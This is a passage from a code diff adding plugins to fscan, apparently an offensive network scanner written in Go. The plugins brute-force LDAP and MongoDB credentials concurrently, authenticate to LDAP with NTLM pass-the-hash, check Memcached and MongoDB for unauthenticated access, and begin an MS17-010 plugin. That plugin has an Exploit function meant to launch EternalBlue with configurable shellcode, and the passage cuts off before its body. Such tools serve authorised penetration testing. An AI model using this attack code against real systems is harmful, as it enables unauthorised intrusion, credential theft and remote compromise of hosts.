return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
// Hash 认证优先:检查是否配置了 Hash 和 Domain
|
||||
if len(config.Credentials.HashValues) > 0 && config.Credentials.Domain != "" {
|
||||
result := p.tryHashAuth(ctx, info, config, state)
|
||||
if result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("ldap", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ldap",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("ldap_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建LDAP认证函数
|
||||
func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doLDAPAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doLDAPAuth 执行LDAP认证
|
||||
func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
conn, err := p.connectLDAP(ctx, info, config)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyLDAPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
// 尝试多种DN格式进行绑定测试
|
||||
dnFormats := []string{
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", cred.Username),
|
||||
cred.Username,
|
||||
}
|
||||
|
||||
for _, dn := range dnFormats {
|
||||
if bindErr := conn.Bind(dn, cred.Password); bindErr == nil {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &ldapConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("所有DN格式都失败"),
|
||||
}
|
||||
}
|
||||
|
||||
// ldapConnWrapper 包装 ldap.Conn 以实现 io.Closer
|
||||
type ldapConnWrapper struct {
|
||||
*ldaplib.Conn
|
||||
}
|
||||
|
||||
func (w *ldapConnWrapper) Close() error {
|
||||
return w.Conn.Close()
|
||||
}
|
||||
|
||||
// tryHashAuth 尝试 NTLM Hash 认证
|
||||
func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
domain := config.Credentials.Domain
|
||||
users := config.Credentials.Userdict["ldap"]
|
||||
|
||||
// 如果没有用户名,使用默认用户名
|
||||
if len(users) == 0 {
|
||||
users = []string{"administrator", "admin"}
|
||||
}
|
||||
|
||||
for _, user := range users {
|
||||
for _, hash := range config.Credentials.HashValues {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ldap",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
result := p.doNTLMHashAuth(ctx, info, domain, user, hash, config, state)
|
||||
if result.Success {
|
||||
// 截断 hash 用于显示
|
||||
displayHash := hash
|
||||
if len(hash) > 16 {
|
||||
displayHash = hash[:16] + "..."
|
||||
}
|
||||
common.LogVuln(i18n.Tr("ldap_hash_credential", target, domain, user, displayHash))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "ldap",
|
||||
Username: user,
|
||||
Password: hash, // 使用 Password 字段存储 hash
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// doNTLMHashAuth 执行单次 NTLM Hash 认证
|
||||
func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, config *common.Config, state *common.State) *AuthResult {
|
||||
conn, err := p.connectLDAP(ctx, info, config)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyLDAPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
if err := conn.NTLMBindWithHash(domain, username, hash); err == nil {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &ldapConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("NTLM hash authentication failed"),
|
||||
}
|
||||
}
|
||||
|
||||
// connectLDAP 连接LDAP服务器
|
||||
func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, config *common.Config) (*ldaplib.Conn, error) {
|
||||
target := info.Target()
|
||||
|
||||
type result struct {
|
||||
conn *ldaplib.Conn
|
||||
err error
|
||||
}
|
||||
resultChan := make(chan result, 1)
|
||||
|
||||
go func() {
|
||||
tcpConn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
resultChan <- result{nil, err}
|
||||
return
|
||||
}
|
||||
|
||||
var conn *ldaplib.Conn
|
||||
if info.Port == 636 {
|
||||
conn = ldaplib.NewConn(tcpConn, true)
|
||||
} else {
|
||||
conn = ldaplib.NewConn(tcpConn, false)
|
||||
}
|
||||
conn.Start()
|
||||
|
||||
resultChan <- result{conn, nil}
|
||||
}()
|
||||
|
||||
select {
|
||||
case res := <-resultChan:
|
||||
return res.conn, res.err
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
res := <-resultChan
|
||||
if res.conn != nil {
|
||||
_ = res.conn.Close()
|
||||
}
|
||||
}()
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// classifyLDAPErrorType LDAP错误分类
|
||||
func classifyLDAPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
ldapAuthErrors := []string{
|
||||
"invalid credentials",
|
||||
"authentication failed",
|
||||
"bind failed",
|
||||
"ldap result code",
|
||||
"invalid dn",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
ldapNetworkErrors := append(CommonNetworkErrors,
|
||||
"ldap: connection lost",
|
||||
"ldap: connection error",
|
||||
)
|
||||
|
||||
return ClassifyError(err, ldapAuthErrors, ldapNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := p.connectLDAP(ctx, info, config)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ldap",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
banner := "LDAP"
|
||||
common.LogSuccess(i18n.Tr("ldap_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "ldap",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("ldap", func() Plugin {
|
||||
return NewLDAPPlugin()
|
||||
}, []int{389, 636, 3268, 3269})
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
//go:build plugin_memcached || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// MemcachedPlugin Memcached扫描插件
|
||||
type MemcachedPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMemcachedPlugin() *MemcachedPlugin {
|
||||
return &MemcachedPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("memcached"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("memcached_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
// Memcached通常不需要认证,如果上面检测失败则服务可能不可用
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法访问Memcached服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试Memcached未授权访问
|
||||
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
conn := p.connectToMemcached(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if p.testBasicCommand(conn, config) {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "memcached",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
|
||||
target := info.Target()
|
||||
|
||||
connChan := make(chan net.Conn, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
connChan <- nil
|
||||
return
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
connChan <- conn
|
||||
}()
|
||||
|
||||
select {
|
||||
case conn := <-connChan:
|
||||
return conn
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
conn := <-connChan
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) testBasicCommand(conn net.Conn, config *common.Config) bool {
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(config.Timeout))
|
||||
if _, err := conn.Write([]byte("version\r\n")); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
return common.ContainsAny(responseStr, "VERSION", "memcached")
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn := p.connectToMemcached(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法连接到Memcached服务"),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if p.testBasicCommand(conn, config) {
|
||||
banner := "Memcached"
|
||||
common.LogSuccess(i18n.Tr("memcached_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "memcached",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法识别为Memcached服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("memcached", func() Plugin {
|
||||
return NewMemcachedPlugin()
|
||||
}, []int{11211, 11212, 11213})
|
||||
}
|
||||
@@ -0,0 +1,320 @@
|
||||
//go:build plugin_mongodb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"go.mongodb.org/mongo-driver/mongo"
|
||||
"go.mongodb.org/mongo-driver/mongo/options"
|
||||
)
|
||||
|
||||
// MongoDBPlugin MongoDB扫描插件
|
||||
type MongoDBPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMongoDBPlugin() *MongoDBPlugin {
|
||||
return &MongoDBPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("mongodb"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config)
|
||||
}
|
||||
|
||||
// 首先检测未授权访问
|
||||
isUnauth, err := p.mongodbUnauth(ctx, info, config)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mongodb",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if isUnauth {
|
||||
common.LogVuln(i18n.Tr("mongodb_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "mongodb",
|
||||
VulInfo: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
// 如果需要认证,使用并发方式尝试常见凭据
|
||||
credentials := GenerateCredentials("mongodb", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mongodb",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("mongodb_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建MongoDB认证函数
|
||||
func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doMongoDBAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doMongoDBAuth 执行MongoDB认证
|
||||
func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
var uri string
|
||||
timeout := config.Timeout
|
||||
|
||||
if cred.Username != "" && cred.Password != "" {
|
||||
uri = fmt.Sprintf("mongodb://%s:%s@%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d",
|
||||
cred.Username, cred.Password, info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds())
|
||||
} else if cred.Username != "" {
|
||||
uri = fmt.Sprintf("mongodb://%s:@%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d",
|
||||
cred.Username, info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds())
|
||||
} else {
|
||||
uri = fmt.Sprintf("mongodb://%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d",
|
||||
info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds())
|
||||
}
|
||||
|
||||
clientOptions := options.Client().ApplyURI(uri)
|
||||
|
||||
authCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
client, err := mongo.Connect(authCtx, clientOptions)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMongoDBErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
err = client.Ping(authCtx, nil)
|
||||
if err != nil {
|
||||
_ = client.Disconnect(authCtx)
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMongoDBErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &mongoClientWrapper{client, ctx},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// mongoClientWrapper 包装 mongo.Client 以实现 io.Closer
|
||||
type mongoClientWrapper struct {
|
||||
*mongo.Client
|
||||
ctx context.Context
|
||||
}
|
||||
|
||||
func (w *mongoClientWrapper) Close() error {
|
||||
return w.Disconnect(w.ctx)
|
||||
}
|
||||
|
||||
// classifyMongoDBErrorType MongoDB错误分类
|
||||
func classifyMongoDBErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
mongoAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"auth mechanism",
|
||||
"unauthorized",
|
||||
"scram",
|
||||
"credential",
|
||||
"invalid username",
|
||||
"invalid password",
|
||||
"login failed",
|
||||
"access denied",
|
||||
"authentication mechanism",
|
||||
"sasl",
|
||||
"mongo auth",
|
||||
"bad auth",
|
||||
"wrong credentials",
|
||||
}
|
||||
|
||||
mongoNetworkErrors := append(CommonNetworkErrors,
|
||||
"dial tcp",
|
||||
"connection closed",
|
||||
"eof",
|
||||
"server selection timeout",
|
||||
"connection pool closed",
|
||||
"no reachable servers",
|
||||
"topology",
|
||||
"network error",
|
||||
)
|
||||
|
||||
return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
isUnauth, err := p.mongodbUnauth(ctx, info, config)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mongodb",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if isUnauth {
|
||||
common.LogVuln(i18n.Tr("mongodb_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "mongodb",
|
||||
VulInfo: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("mongodb_auth_required", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "mongodb",
|
||||
Banner: "需要认证",
|
||||
}
|
||||
}
|
||||
|
||||
// mongodbUnauth 检测MongoDB未授权访问
|
||||
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, config *common.Config) (bool, error) {
|
||||
msgPacket := p.createOpMsgPacket()
|
||||
queryPacket := p.createOpQueryPacket()
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
|
||||
reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, config)
|
||||
if err != nil {
|
||||
reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if len(reply) > 0 {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("无法识别为MongoDB服务")
|
||||
}
|
||||
|
||||
// checkMongoAuth 检查MongoDB认证状态
|
||||
func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, config *common.Config) (string, error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", address, config.Timeout)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("连接失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
if deadlineErr := conn.SetDeadline(time.Now().Add(config.Timeout)); deadlineErr != nil {
|
||||
return "", fmt.Errorf("设置超时失败: %w", deadlineErr)
|
||||
}
|
||||
|
||||
if _, writeErr := conn.Write(packet); writeErr != nil {
|
||||
return "", fmt.Errorf("发送查询失败: %w", writeErr)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
reply := make([]byte, 2048)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil && !errors.Is(err, io.EOF) {
|
||||
return "", fmt.Errorf("读取响应失败: %w", err)
|
||||
}
|
||||
|
||||
if count == 0 {
|
||||
return "", fmt.Errorf("收到空响应")
|
||||
}
|
||||
|
||||
return string(reply[:count]), nil
|
||||
}
|
||||
|
||||
// createOpMsgPacket 创建OP_MSG查询包
|
||||
func (p *MongoDBPlugin) createOpMsgPacket() []byte {
|
||||
return []byte{
|
||||
0x69, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xdd, 0x07, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00,
|
||||
0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67,
|
||||
0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61,
|
||||
0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e,
|
||||
0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64,
|
||||
0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64,
|
||||
0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69,
|
||||
0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69,
|
||||
0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e,
|
||||
0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84,
|
||||
0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
// createOpQueryPacket 创建OP_QUERY查询包
|
||||
func (p *MongoDBPlugin) createOpQueryPacket() []byte {
|
||||
return []byte{
|
||||
0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xd4, 0x07, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69,
|
||||
0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x21,
|
||||
0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c,
|
||||
0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73,
|
||||
0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61,
|
||||
0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("mongodb", func() Plugin {
|
||||
return NewMongoDBPlugin()
|
||||
}, []int{27017, 27018, 27019})
|
||||
}
|
||||
@@ -0,0 +1,489 @@
|
||||
//go:build plugin_ms17010 || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// MS17010Plugin MS17-010漏洞检测和利用插件 - 保持完整的原始利用功能
|
||||
type MS17010Plugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewMS17010Plugin 创建MS17010插件
|
||||
func NewMS17010Plugin() *MS17010Plugin {
|
||||
return &MS17010Plugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ms17010"),
|
||||
}
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
|
||||
// Scan 执行MS17-010扫描
|
||||
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
// 如果禁用暴力破解,也禁用漏洞检测
|
||||
if config.DisableBrute {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("MS17010检测已禁用"),
|
||||
}
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
// 检查端口
|
||||
if info.Port != 445 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("MS17010漏洞检测仅支持445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 执行MS17010漏洞检测
|
||||
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, state)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if vulnerable {
|
||||
msg := fmt.Sprintf("MS17-010 %s", target)
|
||||
if osVersion != "" {
|
||||
msg += fmt.Sprintf(" [%s]", osVersion)
|
||||
}
|
||||
common.LogVuln(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "ms17010",
|
||||
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行MS17-010漏洞利用
|
||||
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult {
|
||||
target := info.Target()
|
||||
common.LogSuccess(i18n.Tr("ms17010_start", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
|
||||
|
||||
// 首先确认漏洞存在
|
||||
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, nil)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !vulnerable {
|
||||
output.WriteString("\n[漏洞状态] 目标不存在MS17-010漏洞\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("\n[漏洞确认] ✅ MS17-010漏洞存在\n")
|
||||
if osVersion != "" {
|
||||
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
|
||||
}
|
||||
|
||||
// 检测DOUBLEPULSAR后门
|
||||
hasBackdoor := p.checkDoublePulsar(info.Host, config)
|
||||
if hasBackdoor {
|
||||
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
|
||||
} else {
|
||||
output.WriteString("\n[后门检测] 未发现DOUBLEPULSAR后门\n")
|
||||
}
|
||||
|
||||
// 如果有Shellcode配置,执行实际利用
|
||||
if config.Shellcode != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[利用模式] %s\n", config.Shellcode))
|
||||
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
|
||||
|
||||
// 执行实际的MS17010利用
|
||||
err = p.executeMS17010Exploit(info, config)
|
||||
